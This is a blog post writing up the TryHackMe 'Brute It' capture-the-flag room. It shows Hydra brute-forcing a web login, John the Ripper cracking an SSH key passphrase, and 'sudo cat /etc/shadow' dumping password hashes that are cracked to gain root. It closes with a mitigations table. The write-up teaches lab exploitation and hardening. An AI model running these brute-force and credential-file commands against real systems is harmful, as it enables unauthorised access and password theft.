DEV Community

Farhan Hussain
Farhan Hussain

Posted on

sudo cat Sounds Harmless. It Isn't. — Brute It (TryHackMe)

#security #ctf #tryhackme #writeup

Platform: TryHackMe · Difficulty: Easy · Category: HTTP Brute Force / SSH Key Cracking / sudo cat GTFOBins

Introduction

sudo cat looks like the most harmless sudo rule you could possibly grant someone. It just prints a file. No shell, no editor, no execution. Except "just prints a file" includes /etc/shadow, and once that's readable, every password hash on the box is yours to crack offline, at your own pace, with zero rate limiting. That's the whole lesson this box exists to teach, and it teaches it without any subtlety at all.

Brute It doesn't waste time on subtlety anywhere else either. The name tells you the method, an HTML comment tells you the username, and the admin panel hands you an SSH key once you've knocked loudly enough with Hydra. The privilege escalation path is a masterclass in how a single dangerous sudo rule can unravel an entire system — subtle, this box is not. Educational, absolutely.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.48.165.203 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp HTTP Apache httpd 2.4.29 (Ubuntu)

Standard two-port setup. Apache 2.4.29 is showing some age — Ubuntu 18.04 era. The HTTP title returns the default Apache page, which means the actual content is hiding somewhere else. Time to enumerate.

Feroxbuster with PHP, TXT, and HTML extensions:

feroxbuster -u http://10.48.165.203 \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html
Enter fullscreen mode Exit fullscreen mode 
# output (relevant hits only)
301  http://10.48.165.203/admin          # ^^^ login panel
200  http://10.48.165.203/admin/index.php
301  http://10.48.165.203/admin/panel    # ^^^ post-login area
Enter fullscreen mode Exit fullscreen mode

/admin/ is the target. The existence of /admin/panel/ suggests something waits beyond a successful login.

Viewing the admin login page source:

view-source:http://10.48.165.203/admin/
Enter fullscreen mode Exit fullscreen mode 
<!-- Hey john, if you do not remember, the username is admin -->
Enter fullscreen mode Exit fullscreen mode

Someone left a note for John. We're reading John's mail now. Username: admin. The comment also leaks the name john — which becomes relevant later as a system user.

Foothold

With the username confirmed as admin, Hydra attacks the login form. The failure string (Invalid) was identified by submitting a wrong password manually and checking the response — a required step before constructing the Hydra command correctly.

Brute forcing the admin login with rockyou.txt:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.48.165.203 \
  http-post-form "/admin/:user=^USER^&pass=^PASS^:F=Invalid" -V
Enter fullscreen mode Exit fullscreen mode 
# output (truncated — ran ~500 attempts before hitting)
[80][http-post-form] host: 10.48.165.203   login: admin   password: xavier
Enter fullscreen mode Exit fullscreen mode

Password: xavier. Admin panel access confirmed.

Inside the admin panel at /admin/panel/, the page surfaces an RSA private key for user john — encrypted with a passphrase. The key was copied and saved locally as id_rsa.

An encrypted SSH private key is useless without its passphrase — the passphrase derives the decryption key that unlocks the actual RSA key material. ssh2john converts the key into a hash format John the Ripper understands, then rockyou.txt does the rest.

Converting the key to a crackable hash:

ssh2john id_rsa > key.hash
Enter fullscreen mode Exit fullscreen mode

Cracking the passphrase:

john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
Enter fullscreen mode Exit fullscreen mode 
# output
rockinroll       (id_rsa)
1g : DONE
Enter fullscreen mode Exit fullscreen mode

Passphrase: rockinroll. Cracked before the progress bar had time to render.

Shell / Access

SSH into the box as john using the decrypted private key:

ssh john@10.48.165.203 -i id_rsa
Enter fullscreen mode Exit fullscreen mode 
Enter passphrase for key 'id_rsa': rockinroll
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)
john@bruteit:~$
Enter fullscreen mode Exit fullscreen mode

Collecting the user flag:

cat user.txt
Enter fullscreen mode Exit fullscreen mode 
THM{a_password_is_not_a_barrier}
Enter fullscreen mode Exit fullscreen mode

The flag is self-aware. Points for honesty.

Escalation

Checking sudo permissions:

sudo -l
Enter fullscreen mode Exit fullscreen mode 
User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat
Enter fullscreen mode Exit fullscreen mode

cat reads files and prints their contents to stdout — nothing more. But when run as root, it can read any file on the system, including files that are normally restricted to root only. /etc/shadow stores hashed passwords for every user account. A low-privilege user can't read it directly — but sudo cat bypasses that restriction entirely.

Reading the shadow file:

sudo cat /etc/shadow
Enter fullscreen mode Exit fullscreen mode 
# output (relevant entries only)
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
john:$6$iODd0YaH$BA2G28eil/ZUZAV5uNaiNPE0Pa6XHWUFp7uNTp2mooxwa4UzhfC0kjpzPimy1slPNm9r/9soRw8KqrSgfDPfI0:18490:0:99999:7:::
Enter fullscreen mode Exit fullscreen mode

(truncated — only root and john hashes are actionable)

The root hash format is $6$ — SHA-512 crypt, Hashcat mode 1800 / John type sha512crypt. Rockyou.txt handles it in under a second.

Saving the root hash and cracking it:

john --wordlist=/usr/share/wordlists/rockyou.txt root.hash
Enter fullscreen mode Exit fullscreen mode 
# output
football         (root)
1g : DONE
Enter fullscreen mode Exit fullscreen mode

Root password: football.

With the plaintext root password in hand, su completes the escalation without any further tricks needed.

su root
Enter fullscreen mode Exit fullscreen mode 
Password: football
root@bruteit:/home/john#
Enter fullscreen mode Exit fullscreen mode 
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode 
THM{pr1v1l3g3_3sc4l4t10n}
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. HTML source comment → username admin, system username hint john
  2. Hydra HTTP POST brute force → admin panel password xavier
  3. Admin panel → encrypted SSH private key for john
  4. John the Ripper → SSH key passphrase rockinroll
  5. SSH login as john → user flag
  6. sudo cat /etc/shadow → root password hash extracted
  7. John the Ripper → root password football
  8. su root → root shell → root flag

Rabbit Holes

Attempting SSH without -i. First SSH attempt reflexively ran without specifying the key file — prompted for a password instead of the passphrase, which failed since john has no password authentication configured. One Ctrl+C and a corrected command later, -i id_rsa sorted it.

Flags

Flag Value Location
User THM{a_password_is_not_a_barrier} /home/john/user.txt
Root THM{pr1v1l3g3_3sc4l4t10n} /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Username hardcoded in HTML comment Medium Never put credentials, usernames, or hints in client-deliverable HTML; use server-side session management
Weak admin password (xavier) in rockyou.txt High Enforce strong password policy; implement account lockout or rate limiting on login forms
Encrypted SSH key exposed via admin panel High Private keys should never be accessible through a web interface; use certificate-based SSH with keys stored only on authorised hosts
Weak SSH key passphrase (rockinroll) High Use a long, randomly generated passphrase for any SSH key; consider a hardware token
sudo cat with NOPASSWD Critical cat can read any file as root — granting this is equivalent to granting read access to the entire filesystem; remove it entirely from sudoers
Weak root password (football) in rockyou.txt Critical Root password must be long and random; disable direct root login via su and require sudo with MFA

Key Takeaway

sudo cat is not a safe alternative to sudo vim or sudo bash — the ability to read any file as root is all an attacker needs to extract /etc/shadow, /root/.ssh/id_rsa, or any other secret on the system. Before adding anything to sudoers, ask: "what happens if this binary reads a file it shouldn't?" If the answer is "total compromise," keep it off the list.

Room: TryHackMe — Brute It

Top comments (0)